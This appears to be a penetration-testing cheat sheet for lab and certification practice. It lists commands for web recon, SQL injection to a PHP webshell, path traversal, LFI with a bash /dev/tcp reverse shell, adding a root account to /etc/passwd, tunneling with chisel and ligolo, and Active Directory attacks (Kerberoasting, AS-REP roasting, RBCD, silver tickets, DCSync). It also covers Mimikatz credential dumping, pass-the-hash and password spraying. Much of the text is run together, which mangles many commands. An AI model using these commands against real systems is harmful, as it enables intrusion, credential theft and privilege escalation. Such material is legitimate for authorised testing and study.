whatweb http://url.htb
whatweb -l http://url.htb #list all plugins
whatweb -a http://url.htb -v# verbose
Wappalyzer
Curl
1
2
3
4
5
6
7
8
9
10
curl -I"http://${TARGET}"
curl -s-X GET "http://sub.domain.htb/102834710284/file.php?action=show&site=FUZZ&password=12345&session="# fuzz in page
curl -X GET "http://domain.htb/_framework/file.dll"-H"Host: domain.htb"-H"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"-H"X-Skipper-Proxy: http://127.0.0.1:5000"-H"Connection: close"--output file.dll #download file while BurpSuite with an vuln SSRF
curl -v http://<DOMAIN> # verbose output
curl -X POST http://<DOMAIN> # use POST method
curl -X PUT http://<DOMAIN> # use PUT method
curl --path-as-is http://<DOMAIN>/../../../../../../etc/passwd # use --path-as-is to handle /../ or /./ in the given URL
curl --proxy http://127.0.0.1:8080 # use proxy
OpenSSL
1
openssl s_client -connect tinder.com:443 #Verifi Certificate Web
hydra-Lusers.txt-Ppassword.txt<IPordomain>http-{post/get}-form"/path:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect"-V# Use https-post-form mode for https, post or get can be obtained from Burpsuite. Also do capture the response for detailed info.#Bruteforce can also be done by Burpsuite but it's slow, prefer Hydra!
1
2
#Application takes some time to reload, here it is 3 seconds
http://192.168.50.16/blindsqli.php?user=offsec' AND IF (1=1, sleep(3),'false') -- //
Manual Code Execution
1
2
3
4
5
6
7
8
9
10
11
12
kali> impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth#To login
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;#Now we can run commands
EXECUTE xp_cmdshell 'whoami';#Sometimes we may not have direct access to convert it to RCE from web, then follow below steps' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- // #Writing into a new file
#Now we can exploit it
http://192.168.45.285/tmp/webshell.php?cmd=id #Command execution
SQLMap - Automated Code execution
1
2
3
4
5
6
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user #Testing on parameter names "user", we'll get confirmation
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump#Dumping database#OS Shell# Obtain the Post request from Burp suite and save it to post.txt
sqlmap -r post.txt -p item --os-shell--web-root"/var/www/html/tmp"#/var/www/html/tmp is the writable folder on target, hence we're writing there
Path Traversal | OWASP TOP 10
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cat /etc/passwd #displaying content through absolute pathcat ../../../etc/passwd #relative path# if the pwd is /var/log/ then in order to view the /etc/passwd it will be like thiscat ../../etc/passwd
#In web int should be exploited like this, find a parameters and test it out
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd
#check for id_rsa, id_ecdsa#If the output is not getting formatted properly then,
curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd
#For windows
http://192.168.221.193:3000/public/plugins/alertlist/../../../../../../../../Users/install.txt #no need to provide drive
URL Encodign
1
2
#Sometimes it doesn't show if we try path, then we need to encode them
curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
Local File Inclusion | OWASP TOP 10
1
2
3
4
5
6
7
8
9
10
11
#At first we need
http://192.168.45.125/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=whoami#we're passing a command here#Reverse shells
bash -c"bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"#We can simply pass a reverse shell to the cmd parameter and obtain reverse-shell
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22 #encoded version of above reverse-shell#PHP wrapper
curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20system('uname%20-a');?>"
curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=/var/www/html/backup.php
#list the name of the host/Display all network addresses of the hosthostname-I#uname-acat /proc/version # prints almost same infor of above command but more like gcc version....cat /etc/crontab #Cron Jobscat /etc/issue # exact version on the OS
ps # lists the processes that are running
ps -A# all running processes
ps axjf # process tree
ps aux # displays processes with the users as wellenv# shows all the environment variablesudo-l# lists the commands that any user run as root without passwordgroups# lists the groups that current user is inid# lists id of group,usercat /etc/passwd - displays all the user
cat /etc/passwd | cut-d":"-f 1 # removes other stuff & only displays usersls /home - displays users
bash -phistory - previously ran commands which might have some sensitive info
ifconfig (or) ip a (or) ip route - network related information
netstat - network route
netstat -a# all listening and established connection
netstat -at# tcp connections
netstat -au# udp connections
netstat -l# listening connections
netstat -s# network statistics
netstat -tp# connections with service name and pid we can also add "l" for only listening ports
netstat -i# interface related information
netstat -ano
find command which helps us in finding lot of stuff,
Syntax: find <path> <options> <regex/name> find .-name flag1.txt # find the file named “flag1.txt” in the current directory
find /home -name flag1.txt # find the file names “flag1.txt” in the /home directory
find / -type d -name config # find the directory named config under “/”
find / -type f -perm 0777 # find files with the 777 permissions (files readable, writable, and executable by all users)
find / -perma=x # find executable files
find /home -user frank # find all files for user “frank” under “/home”
find / -mtime 10 # find files that were modified in the last 10 days
find / -atime 10 # find files that were accessed in the last 10 day
find / -cmin-60# find files changed within the last hour (60 minutes)
find / -amin-60# find files accesses within the last hour (60 minutes)
find / -size 50M # find files with a 50 MB size
find / -writable-type d 2>/dev/null # Find world-writeable folders
find / -perm-222-type d 2>/dev/null # Find world-writeable folders
find / -perm-o w -type d 2>/dev/null # Find world-writeable folders
find / -perm-o x -type d 2>/dev/null # Find world-executable folders
We can also find programming languages and supported languages: find / -name perl*, find / -name python*, find / -name gcc* ...etc
find / -perm-u=s -type f 2>/dev/null # Find files with the SUID bit, which allows us to run the file with a higher privilege level than the current user. This is important!#Check commands you can execute with sudosudo-l#Check Group idid#Check folder permissionsls-la#Check root process
ps -ef | grep root
#Search write-able servicesls-la$(find .-type s -writable 2>/dev/null)#Search write-able filesls-la$(find .-type f -writable 2>/dev/null)#delete file shred-zun 10 -v file.php
#Find all SUID binaries
find / -perm-4000 2>/dev/null
find / -user root -perm-4000-execls-ldb{}\; 2>/dev/null
find / -user root -perm-4000-print 2>/dev/null
find / -perm-u=s -type f 2>/dev/null
find / -writable-type d 2>/dev/null
dpkg -l#Installed applications on debian systemcat /etc/fstab #Listing mounted drives
lsblk #Listing all available drives
lsmod #Listing loaded drivers
getcap -r / 2>/dev/null #Capabilities
watch -n 1 "ps -aux | grep pass"#Checking processes for credentialssudo tcpdump -i lo -A | grep"pass"#Password sniffing using tcpdump# List All Users on a Systemcat /etc/passwd
# Search Passwordsgrep-irE'(password|pwd|pass)[[:space:]]*=[[:space:]]*[[:alpha:]]+'* 2>/dev/null
# List All Users on a System (cleaner, only users)awk –F’:‘ ’{ print $1}’ /etc/passwd
# List All Logged in Userswho | awk ‘{print $1}’ | sort | uniq | tr ‘\n’ ‘ ’
# Find files modified < 1 day
find .-mtime-1
find / -mtime-1# Find files modified < 5 min
find .-mmin-5
find / -mmin-5# Find files within date range
find / -newermt 2022-09-15 !-newermt 2022-09-19 -type f 2>/dev/null
# Web filesls-alhR /var/www/ 2>/dev/null
ls-alhR /srv/www/htdocs/ 2>/dev/null
ls-alhR /usr/local/www/apache22/data/
ls-alhR /opt/lampp/htdocs/ 2>/dev/null
# Creating entry for /etc/passwd
openssl passwd -1-salt ignite pass123
>$1$ignite$3eTbJm98O9Hz.k1NTdNxe1
echo"temp:\$1\$ignite\$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash">> /etc/passwd
su temp
pass pass123
# OSCP Flag Proofcat /root/proof.txt &&whoami&&hostname&& ip addr
# For this you need to configuration the proxychains.conf
./chisel server -p 1234 --reverse#attacker machine .1
./chisel client {IP}:1234 R:socks #victim machine .2 - tunnel redirection through a SOCKS socket.# Remote Port Forwarding
./chisel client 10.10.10.1:1234 R:22:20.20.20.3:22 #victim machine .2
lsof -i:22 # Identify if the service is run by the port 22#shh with proxychains
proxychains ssh user@20.20.20.3
./socat TCP-LISTEN:1111,fork TCP:10.10.10.1:6150 #victim machine .2
./chisel client 20.20.20.2:1111 R:1111:socks #victim machine .3
./socat TCP-LISTEN:443,fork TCP:20.20.20.2:442 # 20.20.20.3
./socat TCP-LISTEN:442,fork TCP:10.10.10.1:441 # 20.20.20.2
cat .bashrc
env#checking environment variables
watch -n 1 "ps -aux | grep pass"#Harvesting active processes for credentials#Process related information can also be obtained from PSPY
#Detecting Cronjobscat /etc/crontab
crontab -l
pspy #handy tool to livemonitor stuff happening in Linuxgrep"CRON" /var/log/syslog #inspecting cron logs
NFS
1
2
3
4
5
6
7
8
##Mountable sharescat /etc/exports #On target
showmount -e <target IP> #On attacker###Check for "no_root_squash" in the output of shares
mount -o rw <targetIP>:<share-location> <directory path we created>
#Now create a binary therechmod +x <binary>
1..1024|%{echo((New-ObjectNet.Sockets.TcpClient).Connect("IP",$_))"TCP port $_ is open"}2>$null#automating port scan of first 1024 ports in powershellnetuserhackerhacker123/addnetlocalgroupAdministratorshacker/addnetlocalgroup"Remote Desktop Users"hacker/ADD# (Depends on Domain Policies)netuser/domain#all users in domainnetuserusername/domain# information on a domain usernetgroup/domainnetgroupgroupname/domain#File and directoryGet-ChildItemorls# list files in directorySet-Locationorcd# Change directoryNew-Item-ItemTypeDirectory# Create directoryCopy-Item# Copy filesMove-Item# Move/Rename itemsRemove-Item# delete filesGet-Content# View file contentSelect-String# Search file contentNew-Item-ItemTypefile#Create an empty file# System informationGet-Process# Display running processesGet-ComputerInfo# Display system informationGet-NetIPConfiguration# Show network configuration# User and Permissionswhoami# view current userGet-LocalUser# List users on the systemSet-Acl# Change file permissions(Get-Acl).Access# View file permissionsResolve-DnsName# resolve dns nameGet-NetTCPConnection# view open portsGet-NetAdapter# view network interfaces# Scripting and variables$variable=value# Declare a variable$variable# display variable valuefunctionMyFunc{}# Create a functionif($condition){}# Conditional statements# Start-Process-VerbRunAs# Run command as admin
netexecsmbIPnetexecsmb10.10.11.14-u'anyname'--sharesnetexecsmb10.10.11.23-uname-o''--shares# List folders shares#crackmapexeccrackmapexecsmb192.168.1.100-uusername-ppasswordcrackmapexecsmb192.168.1.100-uusername-ppassword--shares#lists available sharescrackmapexecsmb192.168.1.100-uusername-ppassword--users#lists userscrackmapexecsmb192.168.1.100-uusername-ppassword--all#all informationcrackmapexecsmb192.168.1.100-uusername-ppassword-p445--shares#specific portcrackmapexecsmb192.168.1.100-uusername-ppassword-dmydomain--shares#specific domain# Search user in based error with file.txtcrackmapexecsmbIP-u../file.txt-p''--kerberos|tee--/output.txt# List sharesnetexecsmbhost/ip-uuser-ppassword--sharesnetexecsmbhost/ip-uguest-p''--shares#without passwordnetexecsmbhost/ip-uguest-p''-Mspider_plus# Brute Force Rid:netexecsmbdomain-udjlawkdjlakw-p''--rid-brute10000smbclient-N-L//IP# Enumerate filessmbclient//ip/share-Nsmbclient//ip/share-Uusernamepassword#SMBmapsmbmap-H<target_ip>smbmap-H<target_ip>-u<username>-p<password>smbmap-H<target_ip>-u<username>-p<password>-d<domain>smbmap-H<target_ip>-u<username>-p<password>-r<share_name># RID cycle attackslookupsid.py-no-pass'user@domain.htb'2000lookupsid.py-no-pass'guest@rebound.htb'8000|grepSidTypeUser|cut-d' # list users
# Kerberoastingcrackmapexecldap10.10.10.12-uadmin-ppepito123--kerberoastkerber.txt# Kerberoasting without PreAuthGetUserSPNs.p-usersfile../file.txt-dc-hostIP-no-preauthjjonesdomain.htb/#List all userscrackmapexecldap10.10.10.12-uadmin2-ppepito123--users|teeadusers.txt#Folders sharecrackmapexecldap10.10.10.12-uadmin2-ppepito123--shares# search file on based a extensionscrackmapexecldap10.10.10.12-uadmin2-ppepito123--spiderRedirectedFolders$--patterntxt# Validate creds w WinRMnetexecwinrmrebound.htb-upepito-p'1234@$$5'# Validate creds w Ldapnetexecldaprebound.htb-upepito-p'1234@$$5'-k# try on both ldap and ldaps, this is first command to run if you dont have any valid credentials.ldapsearch-x-Hldap://<IP>:<port>ldapsearch-x-Hldap://<IP>-D''-w''-b"DC=<1_SUBDOMAIN>,DC=<TLD>"ldapsearch-x-Hldap://<IP>-D'<DOMAIN>\<username>'-w'<password>'-b"DC=<1_SUBDOMAIN>,DC=<TLD>"#CN name describes the info w're collectingldapsearch-x-Hldap://<IP>-D'<DOMAIN>\<username>'-w'<password>'-b"CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"ldapsearch-x-Hldap://<IP>-D'<DOMAIN>\<username>'-w'<password>'-b"CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"ldapsearch-x-Hldap://<IP>-D'<DOMAIN>\<username>'-w'<password>'-b"CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"ldapsearch-x-Hldap://<IP>-D'<DOMAIN>\<username>'-w'<password>'-b"CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"ldapsearch-x-Hldap://<IP>-D'<DOMAIN>\<username>'-w'<password>'-b"CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"ldapsearch-x-Hldap://<IP>-D'<DOMAIN>\<username>'-w'<password>'-b"CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"ldapsearch-x-Hldap://<IP>-D'<DOMAIN>\<username>'-w'<password>'-b"CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"#windapsearch.py#for computerspython3windapsearch.py--dc-ip<IPaddress>-u<username>-p<password>--computers#for groupspython3windapsearch.py--dc-ip<IPaddress>-u<username>-p<password>--groups#for userspython3windapsearch.py--dc-ip<IPaddress>-u<username>-p<password>--da#for privileged userspython3windapsearch.py--dc-ip<IPaddress>-u<username>-p<password>--privileged-users# gMSA (Group Managed Service Account)netexecldapdc01.domain.htb-uuserprivilege-ppassword-k--gmsa
Delegation Permissions | AD
1
2
# Find user accounts with delegation permissions in an Active Directory environment.findDelegation.pydomain/user:'password'-dc-ipdc01-k
# for SPN (Service Principal Name) (Kerberos)getST.py-dc-ipdomain.htb-spnhttp/dc01.domain.htb-hashes:IP-impersonateadministratordomain.htb/'user'-self# get a TGT as user$getTGT.py'domain/user$'-hashes:ah9737-dc-ipdomain.htb
Attack RBCD
1
2
3
4
5
6
# Resource-Based Constrained Delegation (RBCD)rbcd.py'domain.htb/user$'-hashes:2787gd8...-delegate-to'user$'-delegate-from'user1'-dc-ipdc01-action'write'-k-user-ldaps# Abuse Contrained and RCBDgetST.pydomain.htb/user1:'pass'-spnbrowser/dc01.domain.htb-impersonate'DC01$'
# Config proxychains to 127.0.0.1 1234 (create a tunnel priv for internal ports of target)$pythonreGeorgSocksProxy.py-p1234-uhttp://upload.sensepost.net:8080/tunnel/tunnel.jsp
# password spraynetexecsmbrebound.htb-uusers-p'1GR8t@$$4u'--continue-on-success#Password Spray - we have a some user but just one passwordcrackmapexecldap10.10.10.12-ufile.txt-ppepito123--kerberos--continue-on-succescrackmapexecsmbIP/host-uusers.txt-p'pass'-ddomain.htb--continue-on-success#use continue-on-success option if it's subnetproxychains-q/home/kali/go/bin/kerbrutepasswordspray-ddomain.htbusers.txtpassword1--dc10.10.103.152-vvv# Brute Force kerbrutebruteuser-ddomain.comjeffadminpassword.txtkerbrutepasswordspray-ddomain.htbusers.txtpassword1
#login with user and passwordsudoevil-winrm-iblazorized.htb-uRSA_4810-p'(Ni7856Do9854Ki05Ng0005 #)'##Login with Hashevil-winrm-i$IP-uuser-Hntlmhashsudoevil-winrm-iblazorized.htb-uAdministrator-H'Ni7856Do9854Ki05Ng0005wa2e'# Loading files directly from kalievil-winrm-i$IP-uuser-ppass-s/opt/privsc/powershellBypass-4MSIInvoke-Mimikatz.ps1Invoke-Mimikatz##evil-winrm commandsmenu# to view commands#There are several commands to run#This is an example for running a binaryevil-winrm-i<IP>-uuser-ppass-e/opt/privscBypass-4MSImenuInvoke-Binary/opt/privsc/winPEASx64.exe#login with proxychains to tunnel privproxychainsevil-winrm-i127.0.0.1-u'simple'-p'password'2>/dev/null
smbclient.py[domain]/[user]:[password/passwordhash]@[TargetIPAddress]#we connect to the server rather than a sharelookupsid.py[domain]/[user]:[password/passwordhash]@[TargetIPAddress]#User enumeration on targetservices.py[domain]/[user]:[Password/PasswordHash]@[TargetIPAddress][Action]#service enumerationsecretsdump.py[domain]/[user]:[password/passwordhash]@[TargetIPAddress]#Dumping hashes on targetGetUserSPNs.py[domain]/[user]:[password/passwordhash]@[TargetIPAddress]-dc-ip<IP>-request#Kerberoasting, and request option dumps TGSGetNPUsers.pytest.local/-dc-ip<IP>-usersfileusernames.txt-formathashcat-outputfilehashes.txt#Asreproasting, need to provide usernames listGetNPUsers.py-usersfileusersdomain.htb/-dc-ip10.10.11.231##RCEpsexec.pytest.local/john:password123@10.10.10.1psexec.py-hasheslmhash:nthashtest.local/john@10.10.10.1wmiexec.pytest.local/john:password123@10.10.10.1wmiexec.py-hasheslmhash:nthashtest.local/john@10.10.10.1smbexec.pytest.local/john:password123@10.10.10.1smbexec.py-hasheslmhash:nthashtest.local/john@10.10.10.1atexec.pytest.local/john:password123@10.10.10.1<command>atexec.py-hasheslmhash:nthashtest.local/john@10.10.10.1<command>
NFS Enumeration
1
2
nmap-sV--script=nfs-showmountIPshowmount-eIP
SNMP Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#Nmap UDP scansudonmap<IP>-A-T4-p--sU-v-oNnmap-udpscan.txtsnmpcheck-t<IP>-cpublic#Better version than snmpwalk as it displays more user friendlysnmpwalk-cpublic-v1-t10<IP>#Displays entire MIB tree, MIB Means Management Information Basesnmpwalk-cpublic-v1<IP>1.3.6.1.4.1.77.1.2.25#Windows User enumerationsnmpwalk-cpublic-v1<IP>1.3.6.1.2.1.25.4.2.1.2#Windows Processes enumerationsnmpwalk-cpublic-v1<IP>1.3.6.1.2.1.25.6.3.1.2#Installed software enumeraionsnmpwalk-cpublic-v1<IP>1.3.6.1.2.1.6.13.1.3#Opened TCP Ports#Windows MIB values1.3.6.1.2.1.25.1.6.0-SystemProcesses1.3.6.1.2.1.25.4.2.1.2-RunningPrograms1.3.6.1.2.1.25.4.2.1.4-ProcessesPath1.3.6.1.2.1.25.2.3.1.4-StorageUnits1.3.6.1.2.1.25.6.3.1.2-SoftwareName1.3.6.1.4.1.77.1.2.25-UserAccounts1.3.6.1.2.1.6.13.1.3-TCPLocalPorts
RPC Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
rpcclient-U=user$IPrpcclient-U=""$IP#Anonymous login##Commands within in RPCclientsrvinfoenumdomusers#usersenumpriv#like "whoami /priv"queryuser<user>#detailed user infogetuserdompwinfo<RID>#password policy, get user-RID from previous commandlookupnames<user>#SID of specified usercreatedomuser<username>#Creating a userdeletedomuser<username>enumdomainsenumdomgroupsquerygroup<group-RID>#get rid from previous commandquerydispinfo#description of all usersnetshareenum#Share enumeration, this only comesup if the current user we're logged in has permissionsnetshareenumalllsaenumsid#SID of all users
Tip: The user for get a shell, need to are in ‘Remote Managament User’ Group.
Mimikatz
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Dumps credentials from memory, using the Mimikatz module in PowerShell.Invoke-Mimikatz-DumpCredssekurlsa::pth/user:<username>/domain:<domain>/ntlm:<hash>/run:<command>:# Allows authentication using NTLM hashes, enabling lateral movement without knowing the password.sekurlsa::logonpasswords# Extracts plaintext passwords and hashes for logged-in users.privilege::debugtoken::elevatelsadump::samlsadump::samSystemBkup.hivSamBkup.hivlsadump::dcsync/domain:domain.htb/user:Administratorlsadump::lsa/patch
#Creating interface and starting it.sudoiptuntapadduser$(whoami)modetunligolosudoiplinksetligoloup#Kali machine - Attacker machine./proxy-laddr0.0.0.0:9001-selfcert#windows or linux machine - compromised machineagent.exe-connect<LHOST>:9001-ignore-cert#In Ligolo-ng consolesession#select hostifconfig#Notedown the internal network's subnetstart#after adding relevent subnet to ligolo interface#Adding subnet to ligolo interface - Kali linuxsudoipradd<subnet>devligolo
Windows Privilege Escalation
cd C:\ & findstr /SI /M "OS{" *.xml *.ini *.txt - for finding files which contain OSCP flag..
#Groups we're part ofwhoami/groups# lists everything we own.whoami/allGet-Acl-Path<fileordirectory># Displays the Access Control List (ACL) for files or directories, to check for misconfigurations or weak permissions.Get-LocalGroupMemberAdministrators# Checks if the current user has admin privileges.icacls<fileorfolder># Similar to Get-Acl, lists permissions for files and foldersInvoke-BypassUAC# From PowerSploit; technique to bypass UAC (User Account Control), such as loading specific DLLs or using certain exploits.# NetworkingInvoke-Command-ComputerName<target>-ScriptBlock{commands}# Executes PowerShell commands on a remote machine.Enter-PSSession-ComputerName<target># Establishes an interactive session with a remote machine using PowerShell remoting.# Copy Files to Remote SystemCopy-Item-Path<local>-Destination\\<remote>\C$\<path># Copies files to a remote system’s administrative share (requires administrative privileges).#Starting, Restarting and Stopping services in PowershellStart-Service<service>Stop-Service<service>Restart-Service<service>#Powershell HistoryGet-History(Get-PSReadlineOption).HistorySavePath#displays the path of consoleHost_history.txttypeC:\Users\sathvik\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt#Viewing installed execuatblesGet-ItemProperty"HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"|selectdisplaynameGet-ItemProperty"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*"|selectdisplayname#Process InformationGet-ProcessGet-Process|SelectProcessName,Path#Sensitive info in XAMPP DirectoryGet-ChildItem-PathC:\xampp-Include*.txt,*.ini-File-Recurse-ErrorActionSilentlyContinueGet-ChildItem-PathC:\Users\dave\-Include*.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx-File-Recurse-ErrorActionSilentlyContinue#this for a specific user#Service InformationGet-CimInstance-ClassNamewin32_service|SelectName,State,PathName|Where-Object{$_.State-like'Running'}
Windows Directory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\windows\system32# stores essential system binaries and libC:\windows\system32\drives# location for device driversC:\windows\system32\config# holds system config files, such as the registry hivesC:\TemporC:\Windows\Temp# temporary files that are deleted upon rebootC:\RecycleBin# default location for deleted filesC:\windows\Installer# stores installation files and metadataC:\windows\WinSxS# stores side-by-side assemblies and system componentsC:\windows\Tasks# location for scheduled tasksC:\windows\Prefetch# Contains preloaded application dataC:\windows\Inf# Contains setup information C:\windows\Logs# stores various log files generated by the system componentsC:\windows\assembly# location for global assembly cacheC:\windows\System#legacy directory on older windows vC:\windows\Help
Import-Module.\PowerView.ps1#loading module to powershell, if it gives error then change execution policyGet-NetDomain#basic information about the domainGet-NetUser#list of all users in the domain# The above command's outputs can be filtered using "select" command. For example, "Get-NetUser | select cn", here cn is sideheading for the output of above command. we can select any number of them seperated by comma.Get-NetGroup# enumerate domain groupsGet-NetGroup"group name"# information from specific groupGet-NetComputer# enumerate the computer objects in the domainFind-LocalAdminAccess# scans the network in an attempt to determine if our current user has administrative permissions on any computers in the domainGet-NetSession-ComputerNamefiles04-Verbose#Checking logged on users with Get-NetSession, adding verbosity gives more info.Get-NetUser-SPN|selectsamaccountname,serviceprincipalname# Listing SPN accounts in domainGet-ObjectAcl-Identity<user># enumerates ACE(access control entities), lists SID(security identifier). ObjectSIDConvert-SidToName<sid/objsid># converting SID/ObjSID to name # Checking for "GenericAll" right for a specific group, after obtaining they can be converted using convert-sidtonameGet-ObjectAcl-Identity"group-name"|?{$_.ActiveDirectoryRights-eq"GenericAll"}|selectSecurityIdentifier,ActiveDirectoryRightsFind-DomainShare#find the shares in the domainGet-DomainUser-PreauthNotRequired-verbose# identifying AS-REP roastable accountsGet-NetUser-SPN|selectserviceprincipalname#Kerberoastable accounts
Bloodhound
Collection methods - database
1
2
3
4
5
6
# Sharphound - transfer sharphound.ps1 into the compromised machineImport-Module.\Sharphound.ps1Invoke-BloodHound-CollectionMethodAll-OutputDirectory<location>-OutputPrefix"name"# collects and saved with the specified details, output will be saved in windows compromised machine# Bloodhound-Pythonbloodhound-python-u'uname'-p'pass'-ns<rhost>-d<domain-name>-call#output will be saved in you kali machine
Running Bloodhound
1
2
sudoneo4jconsole# then upload the .json files obtained
LDAPDOMAINDUMP
These files contains information in a well structured webpage format.
1
sudo ldapdomaindump ldaps://<IP> -u'username'-p'password'#Do this in a new folder
PlumHound
Link: https://github.com/PlumHound/PlumHound install from the steps mentioned.
Keep both Bloodhound and Neo4j running as this tool acquires information from them.
1
2
3
sudo python3 plumhound.py --easy-p <neo4j-password> #Testing connection
python3 PlumHound.py -x tasks/default.tasks -p <neo4jpass> #Open index.html as once this command is completed it produces somany files
firefox index.html
This needs to be run on windows machine, just hit enter and give the domain to scan.
It gives a report at end of scan.
PsLoggedon
1
2
# To see user logons at remote system of a domain(external tool).\PsLoggedon.exe\\<computername>
GPP or CPassword
Impacket
1
2
3
4
5
6
7
8
9
10
11
# with a NULL session
Get-GPPPassword.py -no-pass'DOMAIN_CONTROLLER'# with cleartext credentials
Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'# pass-the-hash (with an NT hash)
Get-GPPPassword.py -hashes :'NThash''DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'# parse a local file
Get-GPPPassword.py -xmlfile'/path/to/Policy.xml''LOCAL'
SMB share - If SYSVOL share or any share which domain name as folder name
1
2
3
4
#Download the whole share
https://github.com/ahmetgurel/Pentest-Hints/blob/master/AD%20Hunting%20Passwords%20In%20SYSVOL.md
#Navigate to the downloaded foldergrep-inr"cpassword"
We can dump hashes on target even without any credentials.
Password Spraying
1
2
3
4
5
# Crackmapexec - check if the output shows 'Pwned!'crackmapexecsmb<IPorsubnet>-uusers.txt-p'pass'-d<domain>--continue-on-success#use continue-on-success option if it's subnet# Kerbrutekerbrutepasswordspray-dcorp.com.\usernames.txt"pass"
AS-REP Roasting
1
2
3
4
impacket-GetNPUsers-dc-ip<DC-IP><domain>/<user>:<pass>-request#this gives us the hash of AS-REP Roastable accounts, from kali linux.\Rubeus.exeasreproast/nowrap#dumping from compromised windows hosthashcat-m18200hashes.txtwordlist.txt--force# cracking hashes
Kerberoasting
1
2
3
4
5
.\Rubeus.exekerberoast/outfile:hashes.kerberoast#dumping from compromised windows host, and saving with customnameimpacket-GetUserSPNs-dc-ip<DC-IP><domain>/<user>:<pass>-request#from kali machinehashcat-m13100hashes.txtwordlist.txt--force# cracking hashes
Silver Tickets
Obtaining hash of an SPN user using Mimikatz
1
2
privilege::debugsekurlsa::logonpasswords#obtain NTLM hash of the SPN account here
Obtaining Domain SID
1
2
ps>whoami/user# this gives SID of the user that we're logged in as. If the user SID is "S-1-5-21-1987370270-658905905-1781884369-1105" then the domain SID is "S-1-5-21-1987370270-658905905-1781884369"
Forging silver ticket Ft Mimikatz
1
2
3
4
5
kerberos::golden/sid:<domainSID>/domain:<domain-name>/ptt/target:<targetsystem.domain>/service:<service-name>/rc4:<NTLM-hash>/user:<new-user>exit# we can check the tickets by,ps>klist
secretsdump.py<domain>/<user>:<password>@<IP>secretsdump.pyuname@IP-hasheslmhash:ntlmhash#local usersecretsdump.pydomain/uname@IP-hasheslmhash:ntlmhash#domain user
Dumping NTDS.dit
1
2
secretsdump.py <domain>/<user>:<password>@<IP> -just-dc-ntlm#use -just-dc-ntlm option with any of the secretsdump command to dump ntds.dit
Lateral Movement in Active Directory
psexec - smbexec - wmiexec - atexec
Here we can pass the credentials or even hash, depending on what we have
Always pass full hash to these tools!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
psexec.py<domain>/<user>:<password1>@<IP># the user should have write access to Admin share then only we can get sesssionpsexec.py-hashesaad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76<domain>/<user>@<IP><command>#we passed full hash heresmbexec.py<domain>/<user>:<password1>@<IP>smbexec.py-hashesaad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76<domain>/<user>@<IP><command>#we passed full hash herewmiexec.py<domain>/<user>:<password1>@<IP>wmiexec.py-hashesaad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76<domain>/<user>@<IP><command>#we passed full hash hereatexec.py-hashesaad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76<domain>/<user>@<IP><command>#we passed full hash here
winrs
1
2
3
winrs-r:<computername>-u:<user>-p:<password>"command"# run this and check whether the user has access on the machine, if you have access then run a powershell reverse-shell# run this on windows session
crackmapexec{smb/winrm/mssql/ldap/ftp/ssh/rdp}#supported servicescrackmapexecsmb<Rhost/range>-uuser.txt-ppassword.txt--continue-on-success# Bruteforcing attack, smb can be replaced. Shows "Pwned"crackmapexecsmb<Rhost/range>-uuser.txt-ppassword.txt--continue-on-success|grep'[+]'#grepping the way out!crackmapexecsmb<Rhost/range>-uuser.txt-p'password'--continue-on-success#Password spraying, viceversa can also be done#Try --local-auth option if nothing comes upcrackmapexecsmb<Rhost/range>-u'user'-p'password'--shares#lists all shares, provide creds if you have onecrackmapexecsmb<Rhost/range>-u'user'-p'password'--diskscrackmapexecsmb<DC-IP>-u'user'-p'password'--users#we need to provide DC ipcrackmapexecsmb<Rhost/range>-u'user'-p'password'--sessions#active logon sessionscrackmapexecsmb<Rhost/range>-u'user'-p'password'--pass-pol#dumps password policycrackmapexecsmb<Rhost/range>-u'user'-p'password'--sam#SAM hashescrackmapexecsmb<Rhost/range>-u'user'-p'password'--lsa#dumping lsa 